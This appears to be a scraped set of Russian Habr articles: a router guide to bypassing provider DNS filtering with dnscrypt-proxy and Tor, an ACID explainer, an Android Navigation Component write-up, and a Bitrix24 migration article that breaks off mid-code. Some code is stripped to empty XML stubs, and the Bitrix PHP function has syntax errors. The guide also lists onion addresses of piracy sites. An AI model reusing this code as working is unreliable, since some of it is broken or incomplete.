Дополнительный обход фильтрации DNS-запросов провайдером
========================================================
Если провайдер вмешивается в DNS-трафик, подменяя ответы для заблокированных ресурсов, это очень просто обойти. Для этого мы будем использовать dnscrypt-proxy. При желании и опыте вы легко можете заменить dnscrypt на stubby (DNS over TLS).
dnscrypt будет использоваться только для тех доменов, которые перечислены в unblock.txt. Все остальные запросы будут идти через штатные DNS-серверы.
Если вы уверены, что ваш провайдер не фильтрует DNS-запросы, то эту дополнительную настройку делать не нужно.
У вас уже должен быть настроен описанный выше обход блокировок. Нижеследующие настройки идентичны для Padavan и Keenetic OS.
Установите дополнительное ПО на маршрутизаторе:
```
opkg update
opkg install dnscrypt-proxy2
```
Откройте файл конфигурации dnscrypt-proxy:
```
mcedit /opt/etc/dnscrypt-proxy.toml
```
Найдите параметры listen\_addresses, fallback\_resolver, cache и измените их:
```
listen_addresses = ['127.0.0.1:9153']
fallback_resolver = '77.88.8.8:1253'
cache = false
```
77.88.8.8:1253 — это адрес DNS-сервера Яндекс с нестандартным портом. Он является резервным на тот случай, если у dnscrypt-proxy возникнут какие-то проблемы.
Запустите dnscrypt-proxy:
```
/opt/etc/init.d/S09dnscrypt-proxy2 start
```
Убедитесь, что dnscrypt-proxy работает (вы должны в ответ увидеть список IP-адресов):
```
dig +short google.com @localhost -p 9153
```
Откройте в редакторе скрипт **/opt/bin/unblock\_ipset.sh**:
```
mcedit /opt/bin/unblock_ipset.sh
```
Замените содержимое на:
```
#!/bin/sh
until ADDRS=$(dig +short google.com @localhost -p 9153) && [ -n "$ADDRS" ] > /dev/null 2>&1; do sleep 5; done
while read line || [ -n "$line" ]; do
[ -z "$line" ] && continue
[ "${line:0:1}" = "#" ] && continue
cidr=$(echo $line | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/[0-9]{1,2}')
if [ ! -z "$cidr" ]; then
ipset -exist add unblock $cidr
continue
fi
range=$(echo $line | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}-[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')
if [ ! -z "$range" ]; then
ipset -exist add unblock $range
continue
fi
addr=$(echo $line | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')
if [ ! -z "$addr" ]; then
ipset -exist add unblock $addr
continue
fi
dig +short $line @localhost -p 9153 | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{system("ipset -exist add unblock "$1)}'
done < /opt/etc/unblock.txt
```
Мы внесли небольшое изменение — теперь dig для резолвинга использует не штатный DNS-сервер, а dnscrypt-proxy с портом 9153.
Откройте в редакторе скрипт **/opt/bin/unblock\_dnsmasq.sh**:
```
mcedit /opt/bin/unblock_dnsmasq.sh
```
Замените содержимое на:
```
#!/bin/sh
cat /dev/null > /opt/etc/unblock.dnsmasq
while read line || [ -n "$line" ]; do
[ -z "$line" ] && continue
[ "${line:0:1}" = "#" ] && continue
echo $line | grep -Eq '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' && continue
echo "ipset=/$line/unblock" >> /opt/etc/unblock.dnsmasq
echo "server=/$line/127.0.0.1#9153" >> /opt/etc/unblock.dnsmasq
done < /opt/etc/unblock.txt
```
Мы внесли небольшое изменение — теперь при генерации файла unblock.dnsmasq дополнительно вносятся строки вида «server=/доменное\_имя/127.0.0.1#9153». Это означает, что резолвинг доменов из списка будет происходить через dnscrypt-proxy.
Выполните unblock\_update.sh:
```
unblock_update.sh
```
Готово. Все сложные настройки позади. Теперь вы будете только редактировать список unblock.txt при необходимости, добавляя или удаляя из него домены или IP-адреса для разблокировки, и командой unblock\_update.sh активировать внесённые изменения.
**UPDATE 01.04.2019**. Часто приходят личные сообщения по статье с типовыми вопросами. Отвечу тут на самые распространённые.
**Как сделать доступными сайты доменной зоны .onion?**
В torrc добавить:
```
VirtualAddrNetwork 10.254.0.0/16
DNSPort 127.0.0.1:9053
AutomapHostsOnResolve 1
```
Для доступа ко всем доменам зоны onion добавьте в dnsmasq.conf:
```
server=/onion/127.0.0.1#9053
ipset=/onion/unblock
```
Если вы не хотите открывать доступ ко всем доменам зоны onion, а лишь к определённым, то в dnsmasq.conf добавьте записи следущего вида:
```
server=/rutorc6mqdinc4cz.onion/127.0.0.1#9053
ipset=/rutorc6mqdinc4cz.onion/unblock
server=/nnmclub5toro7u65.onion/127.0.0.1#9053
ipset=/nnmclub5toro7u65.onion/unblock
server=/flibustahezeous3.onion/127.0.0.1#9053
ipset=/flibustahezeous3.onion/unblock
```
**Как сделать обход блокировок для клиентов VPN-сервера, запущенного на маршрутизаторе?**
В torrc строку с TransPort замените на:
```
TransPort 0.0.0.0:9141
```
Добавьте дополнительный редирект с необходимымм интерфейсом (ИНТЕРФЕЙС — интерфейс VPN-сети):
```
iptables -t nat -A PREROUTING -i ИНТЕРФЕЙС -p tcp -m set --match-set unblock dst -j REDIRECT --to-port 9141
``` | https://habr.com/ru/post/428992/ | null | ru | null |
# Требования ACID на простом языке
Мне нравятся книги из серии [Head First O`Reilly](https://okiseleva.blogspot.com/2020/01/head-first-oreilly.html) — они рассказывают просто о сложном. И я стараюсь делать также.
Когда речь идёт о базах данных, могут всплыть магические слова «Требования ACID». На собеседовании или в разговоре разработчиков — не суть. В этой статье я расскажу о том, что это такое, как расшифровывается ACID и что означает каждая буква.
Требования ACID — набор требований, которые обеспечивают сохранность ваших данных. Что особенно важно для финансовых операций. Мы же не хотим остаться без денег из-за разрыва соединения или ошибки в ПО, не так ли?
> **См также:**
>
> [Что такое транзакция](https://habr.com/ru/post/537594/)
>
> [Что такое База Данных (БД)](https://habr.com/ru/post/555760/)
>
>
Давайте пройдемся по каждой букве ACID и посмотрим на примерах, чем архив лучше 10 разных файлов. И чем транзакция лучше 10 отдельных запросов.
1. [Atomicity — Атомарность](#atomicity)
2. [Consistency — Согласованность](#consistency)
3. [Isolation — Изолированность](#isolation)
4. [Durability — Надёжность](#durability)
### Atomicity — Атомарность
Атомарность гарантирует, что каждая транзакция будет выполнена полностью или не будет выполнена совсем. Не допускаются промежуточные состояния.
Друг познается в беде, а база данных — в работе с ошибками. О, если бы всё всегда было хорошо и без ошибок! Тогда бы никакие ACID были бы не нужны. Но как только возникает ошибка, атомарность становится очень важна.
Допустим, вы решили отправить маме деньги. Когда вы делаете перевод внутри банка, что происходит:
1. У вас деньги списались
2. Маме поступили
И допустим, что у нас 2 отдельных запроса. А теперь посмотрим, что будет при возникновении ошибок:
1. У вас на балансе нет нужной суммы — система вывела сообщение об ошибке, но катастрофы не произошло, атомарность тут не нужна.
2. У мамы заблокирована карточка, истек срок годности — деньги ей не поступили. Запрос отменен. Но минуточку... У вас то они уже списались!
Ошибка на первом этапе никаких проблем в себе не таит. А вот ошибка на втором... Приводит к потере денег, что явно недопустимо.
Если мы отправляем отдельные запросы, система не может связать их между собой. Запрос упал с ошибкой? Система его отменяет. Но только его, ведь она не знает о том, что запрос «у меня деньги спиши» связан с упавшим «сюда положи»!
Транзакция же позволяет сгруппировать запросы, то есть фактически показывает базе на взаимосвязи между ними. База сама о связях ничего не знает! Это знаете только вы =)
И если падает запрос внутри транзакции, база откатывает всю транзакцию. И приходит в состояние «как было до начала транзакции». Даже если там внутри было 10 запросов, вы можете спать спокойно — сломался один, откатятся все.
### Consistency — Согласованность
> Транзакция, достигающая своего нормального завершения (*EOT — end of transaction*, завершение транзакции) и, тем самым, фиксирующая свои результаты, сохраняет согласованность базы данных. Другими словами, каждая успешная транзакция по определению фиксирует только допустимые результаты [wikipedia](https://ru.wikipedia.org/wiki/ACID)
>
>
Это свойство вытекает из предыдущего. Благодаря тому, что транзакция не допускает промежуточных результатов, база остается консистентной. Есть такое определение транзакции: «Упорядоченное множество операций, **переводящих базу данных из одного согласованного состояния в другое**». То есть до выполнения операции и после база остается консистентной (в переводе на русский — согласованной).
Например, пользователь в системе заполняет карточку:
* ФИО
* Дата рождения
* ИНН
* Телефон — отдельно код страны, города и номер
* Адрес — тоже разбит на несколько полей
В базе данных у нас есть несколько таблиц:
* client
* phone
* address
Так что когда пользователь заполнил форму и нажал «сохранить», система отправляет в базу данных 3 запроса:
```
insert into client… -- вставить в таблицу клиентов такие-то данные
insert into phone…
insert into address…
```
Можно отправить 3 разных запроса, но лучше сделать одну транзакцию, внутри которой будут эти 3 запроса.
Атомарность гарантирует, что не получится такого, что адрес с телефоном сохранились, а сам клиент — нет. Это сделало бы базу неконсистентной, ведь у нас бы появились атрибуты, «висящие в воздухе», никому не принадлежащие. Что, в свою очередь, приведет к ошибкам в системе.
За консистентностью должен следить разработчик. Ведь это вопрос скорее бизнес-логики, чем технологий. Те же атрибуты, «висящие в воздухе» — это разработчик знает, что:
* если есть телефон в таблице phone
* он должен ссылаться на таблицу client
База об этом не знает ничего, если ей не рассказать. И она легко пропустит запрос «добавь в базу телефон без ссылки на клиента», если сам по себе запрос корректный, а разработчик не повесил на таблицу *foreign key*.
Можно повесить на таблицу *constraint*. Например, «баланс строго положительный». Тогда сценарий с ошибкой будет выглядеть так:
1. Пользователь пытается перевести другу 100р, хотя у него самого 10
2. Система отправляет в базу запрос — «обнови баланс карты, теперь там X – 100».
3. База пытается выполнить запрос, но ой! Нарушен constraint, в итоге операции баланс стал отрицательным, эту ошибку она и возвращает.
4. Система обрабатывает ошибку и выводит ее пользователю в читаемом виде.
К сожалению, нет единого механизма рассказать базе о том, какое состояние считается согласованным. Разработчик может использовать *foreign* ключи, какие-то констрейнты — это БД проверит. Но что с одного счета списалось, а на другой пришло — это БД уже не проверит. Это бизнес-логика.
Разработчик пишет код, пошагово переводящий БД в нужное согласованное состояние и, если где-то посередине возникает ошибка или нежданчик, откатывает всю транзакцию. То есть можно после каждого шага делать запрос, проверяя какое-то поле:
— Эй, баланс, ты ведь положительный остался?
— Ку-ку, тебе деньги пришли?
Если вдруг проверка не прошла, то кидаем ошибку и делаем откат.
### Isolation — Изолированность
Во время выполнения транзакции параллельные транзакции не должны оказывать влияния на её результат.
Если у нас система строго для одного человека, проблем не будет. А если пользователей несколько? Тогда транзакции запускают в параллель — для ускорения работы системы. А иначе представьте себе, что вы делаете заказ в интернет-магазине и система вам говорит: «Вы в очереди, перед вами еще 100 человек хотят заказ оформить, подождите». Бред же? Бред!
Вот и приходится распараллеливать запросы. Но к каким эффектам может привести параллельная работа двух транзакций?
**1 эффект: "Потерянная запись"**
Есть некий счет А, на котором лежит 500 у.е.
Кассир 1 (К1 на рисунке) списал с него 300 у.е. Обозначим его действия рыжими стрелками. Списал 300, на выходе получает 200 = 500 - 300.
Кассир 2 (К2) тоже решил обратиться к этому же счету, и записал туда 300 у.е., пока К1 еще не успел закрыть свою транзакцию. Так как первая транзакция не закрыта, сумма на счете до сих пор 500, получаем 500 + 300 = 800.
Итог — мы "потеряли запись" первого кассира, ведь на выходе у нас А = 800, хотя должно быть 500. "Кто последний вписал результат - того и тапки". Получается так.
**2 эффект: "Грязное чтение"**
Есть некий счет А, на котором лежит 500 у.е.
Кассир 1 списал с него 300 у.е. Обозначим его действия рыжими стрелками. Списал 300. Потом передумал и сделал откат - на выходе остались те же 500 у.е.
Кассиру 2 (К2) понадобилась информация по этому счету и он ее считал до того, как К1 закрыл свою транзакцию.
Итог — второй кассир считал неверную сумму, построил неверный отчет/отказал в визе платежеспособному гражданину и т.д.
**3 эффект: "Повторимое чтение"**
Есть некие данные.
Кассир 1 строит отчет. Операции идут последовательно для каждой колонки. Система считала данные, записала в первую колонку (например, взяв минимум от них).
Обозначим получение данных зеленым цветом, а изменение - рыжим.
Кассир 2 влез в эту таблицу данных и изменил некоторые счета в ней.
У кассира 1 продолжается построение отчета. И во вторую колонку система считывает уже новые данные.
Итог - отчет построен на основании разных данных.
**4 эффект: "Фантомы"**
Есть некие данные.
Кассир 1 строит отчет. Операции идут последовательно для каждой колонки. Система считала данные, записала в первую колонку (например, взяв минимум от них).
Обозначим получение данных зеленым цветом, а изменение - рыжим.
Кассир 2 влез в эту таблицу данных и добавил новые счета/удалил некоторые старые.
У кассира 1 продолжается построение отчета. И во вторую колонку система считывает уже новые данные.
Итог — отчет построен на основании разных данных.
Разница между 3-им и 4-ым эффектами в том, что в одном случае данные *изменяются*, а во втором — *добавляются/удаляются*. То есть меняется ещё и их количество.
### Как бороться
Как бороться с этими проблемами? Нужно изолировать транзакцию. Способов есть несколько, но основные — блокировки и версии.
Блокировки — это когда мы блокируем данные в базе. Можно заблокировать одну строку в таблице, а можно всю таблицу. Можно заблокировать данные на редактирование, а можно и на чтение тоже.
Подробнее о блокировках можно почитать тут:
* [Блокировка (СУБД)](https://ru.wikipedia.org/wiki/%D0%91%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_(%D0%A1%D0%A3%D0%91%D0%94)) — статья из вики
* [Режимы блокировки](http://serversql.ru/upravlenie-parallelnoj-rabotoj/rezhimy-blokirovki.html) — здесь хорошо описано, в чем отличие эксклюзивной от разделямой блокировки
* [Transaction Isolation Levels in DBMS](https://www.geeksforgeeks.org/transaction-isolation-levels-dbms/) — статья на английском, но хорошо прошлись по разным уровням изоляции базы
Версии — это когда внутри базы при каждом обновлении создается новая версия данных и сохраняется старая. Версионирование скрыто от разработчика, то есть мы не видим в базе никаких номеров версий и данных по ним. Просто пока транзакция, обновляющая запись, не покомитит свое изменение, остальные потребители читают старую версию записи и не блокируются.
### Durability — Надёжность
Если пользователь получил подтверждение от системы, что транзакция выполнена, он может быть уверен, что сделанные им изменения не будут отменены из-за какого-либо сбоя. Обесточилась система, произошел сбой в оборудовании? На выполненную транзакцию это не повлияет.
**См также:**
[ACID в википедии](https://ru.wikipedia.org/wiki/ACID)
[Транзакции, ACID, CAP](https://geekbrains.ru/posts/acid_cap_transactions) — статья с geekbrains
[Разбираем ACID по буквам в NoSQL](https://habr.com/ru/post/228327/) — а это с Хабра
Ну и напомню ссылку на статьи «[Что такое транзакция](https://habr.com/ru/post/537594/)» и «[Что такое База Данных (БД)](https://habr.com/ru/post/555760/)».
*P.S. — больше полезных статей ищите*[*в моем блоге по метке «полезное»*](https://okiseleva.blogspot.com/search/label/%D0%BF%D0%BE%D0%BB%D0%B5%D0%B7%D0%BD%D0%BE%D0%B5)*. А полезные видео — на*[*моем youtube-канале*](https://www.youtube.com/c/okiseleva) | https://habr.com/ru/post/555920/ | null | ru | null |
# Android navigation component. Простые вещи, которые приходится делать самому
Всем привет! Хочу рассказать об особенностях в работе [Navigation Architecture Component](https://developer.android.com/topic/libraries/architecture/navigation/), из-за которых у меня сложилось неоднозначное впечатление о библиотеке.
Эта статья не пошаговая инструкция, в ней опущены детали реализации, чтобы сосредоточить внимание на ключевых моментах. В интернете есть немало ~~одинаковых~~ примеров использования (есть и переводы) — они помогут познакомиться с библиотекой. Так же перед чтением предлагаю изучить [документацию](https://developer.android.com/topic/libraries/architecture/navigation/).
*Сразу скажу, библиотеку безусловно считаю полезной и не исключаю возможности неверного использования, но, пожалуй, я перепробовал всё прежде чем писать эту статью.*
Итак, вот сценарии, при реализации которых ожидания по функционалу не совпали с реальностью в реализации:
* переключение между пунктами меню в navigation drawer
* открытие новой Activity со своим графом навигации
* передача параметров в [startDestination](https://developer.android.com/topic/libraries/architecture/navigation/navigation-implementing#Designate-start)
Переключение между пунктами меню
================================
Это одна из тех функций, которые повлияли на решение использовать Navigation Component.
Нужно всего лишь сделать одинаковыми id пунктов меню
**activity\_main\_drawer.xml**
```
xml version="1.0" encoding="utf-8"?
```
и id экранов (destination в графе навигации)
**mobile\_navigation.xml**
```
xml version="1.0" encoding="utf-8"?
```
затем нужно связать меню с контроллером навигации:
**MainActivity.kt**
```
class MainActivity : AppCompatActivity() {
private val navController by lazy(LazyThreadSafetyMode.NONE) {
Navigation.findNavController(this, R.id.nav_host_fragment)
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
setSupportActionBar(toolbar)
// предоставим управление "гамбургером" в toolbar
NavigationUI.setupWithNavController(toolbar, navController, drawer_layout)
// связывание контроллера навигации и меню
nav_view.setupWithNavController(navController)
}
// добавим поддержку кнопки назад
override fun onSupportNavigateUp() = navController.navigateUp()
}
```
Навигация в меню заработала — ну разве не чудо?!
Обратите внимание на «гамбургер» (иконка меню), при переключении между пунктами меню он меняет своё состояние на кнопку «назад». Такое поведение показалось *непривычным* (*привычное* — как в приложении play market) и, какое-то время, я пытался разобраться, что же сделал не так?
Всё так! Перечитав документацию по принципам навигации (а именно: пункты [два](https://developer.android.com/topic/libraries/architecture/navigation/navigation-principles#a_stack_is_used_to_represent_the_navigation_state_of_an_app) и [три](https://developer.android.com/topic/libraries/architecture/navigation/navigation-principles#the_up_button_never_exits_your_app)), понял, что «гамбургер» показывается только для *startDestination*, вернее так: кнопка «назад» показывается для всех, кроме *startDestination*. Ситуацию можно поменять применив различные уловки в подписке ([addOnNavigatedListener()](https://developer.android.com/reference/kotlin/androidx/navigation/NavController#addOnNavigatedListener%28androidx.navigation.NavController.OnNavigatedListener%29)) на изменение *destination*, но их даже описывать не стоит. Работает так, нужно смириться.
Открытие новой Activity
=======================
Activity может выступать в качестве *navigation host* и, в то же время, в графе навигации может выступать в роли одного из *destination*. Открытие Activity без вложенного графа навигации работает *как ожидается*, то есть вызов:
```
navController.navigate(R.id.editActivity)
```
осуществит переход (как в случае с фрагментами) и откроет запрошенную Activity.
Гораздо интереснее рассмотреть случай, когда целевая Activity сама выступает в роли *navigation host*, то есть вариант 2 из [документации](https://developer.android.com/topic/libraries/architecture/navigation/navigation-migrate):
В качестве примера давайте рассмотрим Activity для добавления заметки. В ней будет основной фрагмент с полями ввода *EditFragment*, он в графе навигации будет *startDestination*. Давайте положим, что при редактировании нам нужно прикрепить фото, для этого будем переходить к *PhotoFragment* для получения снимка с камеры. Граф навигации будет выглядеть так:
**edit\_navigation.xml**
```
xml version="1.0" encoding="utf-8"?
```
*EditActivity* мало отличается от *MainActivity*. Основное отличие в том, что на *EditActivity* нет меню:
**EditActivity.kt**
```
class EditActivity : AppCompatActivity() {
private val navController by lazy(LazyThreadSafetyMode.NONE) {
Navigation.findNavController(this, R.id.nav_host_fragment)
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_edit)
setSupportActionBar(toolbar)
// предоставим управление кнопкой "Назад" в toolbar
NavigationUI.setupWithNavController(toolbar, navController)
}
override fun onSupportNavigateUp() = navController.navigateUp()
fun takePhoto(view: View) {
navController.navigate(R.id.action_editFragment_to_photoFragment)
}
}
```
Activity открывается, навигация внутри неё работает:
Опять обратим внимание на кнопку навигации в toolbar — на стартовом *EditFragment* нет кнопки «Назад к parent Activity» (а хотелось бы). С точки зрения документации, тут всё законно: новый граф навигации, новое значение *startDestination*, на *startDestination* не показывается кнопка «Назад», конец.
Для тех, кому хочется вернуть [привычное поведение c parent activity](https://developer.android.com/training/implementing-navigation/ancestral#SpecifyParent), сохранив при этом функционал переключения между фрагментами, могу предложить такой ~~костыль~~ подход:
**1. Укажем родительскую Activity в манифесте**
```
```
**2. Добавим подписку, в которой будем подменять id startDestination**
```
class EditActivity : AppCompatActivity() {
private val navController by lazy(LazyThreadSafetyMode.NONE) {
Navigation.findNavController(this, R.id.nav_host_fragment)
}
private var isStartDestination = true
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_edit)
setSupportActionBar(toolbar)
val startDestinationId = navController.graph.startDestination
// будем принудительно подменять id, чтобы NavigationUI.ActionBarOnNavigatedListener не пытался скрыть кнопку
// при этом для всех остальных destination будем предоставлять оригинальный startDestination
navController.addOnNavigatedListener { controller, destination ->
isStartDestination = destination.id == startDestinationId
// R.id.fake_start_destination этот id вручную определён для семантики и обеспечения уникальности
controller.graph.startDestination = if (isStartDestination) R.id.fake_start_destination else startDestinationId
}
// предоставим управление кнопкой "Назад" в toolbar
NavigationUI.setupActionBarWithNavController(this, navController)
}
override fun onSupportNavigateUp(): Boolean {
// на startDestination не будем использовать навигацию от Navigation Component
return if (isStartDestination) super.onSupportNavigateUp() else navController.navigateUp()
}
fun takePhoto(view: View) {
navController.navigate(R.id.action_editFragment_to_photoFragment)
}
}
```
Подписка нужна для того, чтобы для *NavigationUI.ActionBarOnNavigatedListener* все *destination* не являлись *startDestination*. Таким образом *NavigationUI.ActionBarOnNavigatedListener* не будет скрывать кнопку навигации (за деталями стоит обратиться к исходникам). Добавим к этому обработку *onSupportNavigateUp()* штатным образом на *startDestination* и получим то, что хотелось.
Стоит сказать, что решение это далеко от идеала хотя бы потому, что это неочевидное вмешательство в поведение библиотеки. Полагаю, могут возникнуть проблемы в случае использования [deep links](https://developer.android.com/topic/libraries/architecture/navigation/navigation-implementing#Deeplink) (ещё не проверял).
Передача параметров в startDestination
======================================
В Navigation Component есть [механизм](https://developer.android.com/topic/libraries/architecture/navigation/navigation-implementing#Arguments) передачи параметров от одного *destination* другому. Есть даже [инструмент для обеспечения безопасности типов](https://developer.android.com/topic/libraries/architecture/navigation/navigation-implementing#Safe-args) за счёт кодогенерации (неплохо).
Сейчас мы разберём случай, из-за которого я не смог поставить твёрдую пятёрку этому функционалу.
Вернёмся к *EditActivity*, достаточно привычный сценарий, когда одна Activity используется для создания и редактирования объектов. При открытии объекта для редактирования в Activity нужно передать, например, id объекта — давайте сделаем это штатным образом:
**1. Добавим параметр в граф для EditActivity**Я добавил параметр непосредственно в корневой элемент графа (navigation), но можно добавить в целевой фрагмент. От этого изменится только способ получения параметра.
```
xml version="1.0" encoding="utf-8"?
```
**2. Добавим action's в основной граф**Я добавил add и edit action's в одни из фрагментов, так они будут доступны только из него.
```
xml version="1.0" encoding="utf-8"?
```
**3. Подготовим параметры и запросим переход**В этом примере *ImportFragmentDirections* — автоматически сгенерированый safe-args класс.
```
val direction = ImportFragmentDirections.edit(123 /* id заметки */)
navController.navigate(direction)
```
**3. Получим id во фрагменте**
```
class EditFragment : Fragment() {
override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View {
// работает во остальных случаях, когда fragment не создаётся в качестве startDestination
// val id = EditFragmentArgs.fromBundle(arguments)
val id = EditFragmentArgs.fromBundle(requireActivity().intent.extras)
return inflater.inflate(R.layout.fragment_edit, container, false)
}
}
```
Вы, наверняка, обратили внимание на особенности получения параметров в *EditFragment*. Так работает, потому что edit action (из пункта 1) передаёт аргументы в *EditActivity*, а она, в свою очередь, почему-то ~~жадничает~~ не передаёт её в граф (например, вызовом *navController.graph.setDefaultArguments()*). Эту особенность можно обойти, если вручную подготовить *navigation controller*. Один из способов описан на [StackOwerflow](https://stackoverflow.com/a/50457707/3926506).
Пожалуй, наибольшая сложность возникнет при одновременном использовании в качестве *startDestination* и обычного *destination*. То есть, при переходе и передаче параметров в *startDestination* из любого другого *destination* этого графа, фрагменту придётся самостоятельно определять, откуда извлекать параметры: из arguments или из intent.extras. Это нужно иметь ввиду при проектировании переходов с передачей параметров.
---
Резюмируя, хочу отметить, что сам не перестал использовать библиотеку и, несмотря на перечисленные ~~недостатки~~ особенности, считаю её достаточно полезной, чтобы рекомендовать к использованию. Очень надеюсь, что в следующих релизах изменится ситуация по крайней мере с передачей параметров в *startDestination*.
Благодарю за внимание. Рабочего Вам кода!
Исходники для статьи размещены на [GitHub](https://github.com/XIII-th/NavigationApp). | https://habr.com/ru/post/429152/ | null | ru | null |
# Как мы настраивали миграции для бизнес-процессов в Битрикс24
Для автоматизации своих операций бизнес часто использует Битрикс24. В этой статье рассказываем о некоторых возможных проблемах при изменении бизнес-процессов и о том, как мы их решали.
Битрикс24 – одна из распространенных систем CRM. В нее входит визуальный конструктор (дизайнер) для выстраивания схем бизнес-процессов. Важно помнить, что при редактировании этих процессов возможны сложности – особенно на крупных действующих проектах, где любые изменения сначала проверяют на локальном и тестовом серверах. В таких случаях при переносе на продакшн мы используем механизм миграции бизнес-процессов (далее – БП).
Небольшие компании, как правило, могут обойтись без миграции и просто приостановить на 2-3 дня тот или иной бизнес-процесс. Крупный бизнес обычно не может себе этого позволить, поэтому использует тестовые сервера и деплоинг.
*Битрикс24 о том, [как работает](https://helpdesk.bitrix24.ru/open/7380841/) шаблон бизнес-процесса*
Работа с миграцией имеет свои особенности. В частности, ее осложняет большое количество задействованных объектов и ID. Кроме того, в том же Битрикс24 миграция бизнес-процессов как таковая не предусмотрена – зачастую эту задачу решают посредством импорта и экспорта, и здесь могут быть различные нестыковки. Рассмотрим, какие проблемы возможны при этом с точки зрения разработки.
Проблема поиска шаблона бизнес-процесса
---------------------------------------
При создании бизнес-процесса можно присвоить шаблону только название (имя), а не уникальный код. В этом случае при обновления бизнес-процесса его придется получать из базы по имени. Имена иногда изменяются, потому что система использует их для вывода в списке процессов при запуске. Соответственно, возможны ситуации, когда при обновлении невозможно будет найти шаблон. Да и в целом, поиск по имени – не такая уж хорошая идея.
**Решение:**
Все созданные в системе шаблоны бизнес-процессов хранятся в таблице b\_bp\_workflow\_template. Открыв таблицу, среди полей мы видим SYSTEM\_CODE: поле для кода есть, просто не выведено в интерфейс. Мы можем задать код самостоятельно, используя id шаблона — его можно увидеть в url на странице редактирования процесса:
Нам нужно создать функцию, чтобы получить на вход id шаблона и код, провести проверку на дублирование и на заполненность поля у изменяемого шаблона, а также установить его код.
```
use Bitrix\Main\Loader;
Loader::includeModule("bizproc");
$BPloader = CBPWorkflowTemplateLoader::GetLoader();
// set template CODE field
setTemplateCode ($BPloader, 'TEST', '94' );
function setTemplateCode($BPloader, $code, $tempalteId) {
if (isCodeExists($BPloader, $code)) {
die('Такой код уже существует');
}
if (!isCodeEmpty($BPloader, $tempalteId)) {
die('Код уже задан у этого шаблона')
}
$BPloader->UpdateTemplate($tempalteId, ['SYSTEM_CODE' => $code]);
}
// check if $code exists in DB
function isCodeExists($BPloader, string $code) {
$dbRes = $BPloader->GetTemplatesList(
$arOrder = ['ID' => 'DESC'],
$arFilter = ['CODE' => $code],
$arGroupBy = false,
$arNavStartParams = false,
$arSelectFields = ['ID']
);
if (intval($dbRes->SelectedRowsCount()) > 0) {
return true;
}
return false;
}
// check if the template code is not empty
function isCodeEmpty($BPloader, $tempalteId) {
$dbRes = $BPloader->GetTemplatesList(
$arOrder = ['ID' => 'DESC'],
$arFilter = ['CODE' => '', 'ID' => $tempalteId],
$arGroupBy = false,
$arNavStartParams = false,
$arSelectFields = ['ID']
);
if (intval($dbRes->SelectedRowsCount()) > 0) {
return false;
}
return true;
}
return true;
}
```
Идем дальше. Для примера создадим тестовый бизнес-процесс на списках:
Чтобы перенести разработанный локально процесс на тестовый сервер (а потом и на продакшн), мы применяем механизм миграций.
Битрикс24 позволяет экспортировать бизнес-процесс. Будем использовать эту возможность.
Схема переноса такая:
* Экспортируем бизнес-процесс
* Пишем миграцию, прикладываем файл
* На новом стенде делаем бэкап старого процесса
* Применяем миграцию
Далее рассмотрим, как происходит этот процесс.
Создание миграции
-----------------
Будем использовать модуль миграций из маркетплейса: <https://marketplace.1c-bitrix.ru/solutions/ws.migrations/>.
Файлы миграций в нашем проекте располагаются по адресу **local/migrations/scenarios**
Открываем страницу шаблона процесса и делаем экспорт. Внутри директории с миграциями создаем директорию files и помещаем туда экспортированный файл. Получается так:
**local/migrations/scenarios/files/bp-94.bpt**
Создаем сценарий миграций:
```
class ws_m_1565783124_approve_task extends \WS\Migrations\ScriptScenario {
```
Определяем параметры шаблона бизнес-процесса:
```
class ws_m_1565783124_approve_task extends \WS\Migrations\ScriptScenario {
private $arBPFields = [
'DOCUMENT_TYPE' => [
'lists',
'BizprocDocument',
'iblock_'
],
'AUTO_EXECUTE' => 0,
'NAME' => 'Утверждение задач',
'CODE' => 'TEST',
];
```
Реализуем функцию импорта бизнес-процесса:
```
private function importBP($path)
{
CModule::IncludeModule('bizproc');
CModule::IncludeModule('iblock');
//Get iBlock id for which BP is created
$this->arBPFields['DOCUMENT_TYPE'][2] .= $this->getIblockId();
// Get BP id by the CODE
$result = \CBPWorkflowTemplateLoader::GetList(
[],
[
'CODE' => $this->arBPFields['CODE'],
'MODULE_ID' => 'lists'
]
);
if ($arFields = $result->GetNext()) {
$id = $arFields['ID'];
} else {
$id = 0;
}
//read file to a variable
$f = fopen($path, 'rb');
$datum = fread($f, filesize($path));
fclose($f);
//Update BP if id>0, otherwise add BP
\CBPWorkflowTemplateLoader::ImportTemplate(
$id,
$this->arBPFields['DOCUMENT_TYPE'],
$this->arBPFields['AUTO_EXECUTE'],
$this->arBPFields['NAME'],
'',
$datum,
$this->arBPFields['CODE']
);
return $arFields['ID'];
}
```
Здесь сначала определяем ID инфоблока, для которого мы применяем процесс, и получаем id шаблона процесса с заданным кодом.
Если шаблон найден – мы его обновляем. Если не найден – добавляем.
Функция возвращает id созданного или обновленного процесса, а для чего это нужно – расскажем дальше.
Определяем функцию commit, которая добавит/обновит наш бизнес-процесс:
```
public function commit() {
$pathBPElement = __DIR__ . '/files/bp-94-approve-task.bpt';
$id = $this->importBP($pathBPElement);
}
```
Итак, на этом шаге мы уже умеем создавать и обновлять конкретный бизнес-процесс через модуль миграций.
Проблема обновления данных шаблона
----------------------------------
Давайте вернемся в наш бизнес-процесс и добавим туда действие – уведомление пользователя.
В качестве отправителя выбираем Автора. Получатели будут:
* Группа пользователей HR
* Пользователь Светлана Кузнецова
А теперь смотрим, как бизнес-процесс записан в базе. Для этого получаем и печатаем шаблон в консоли PHP в админке:
```
$arFieldsTemplate = \CBPWorkflowTemplateLoader::GetList([], ['ID' => 94])->GetNext();
echo '
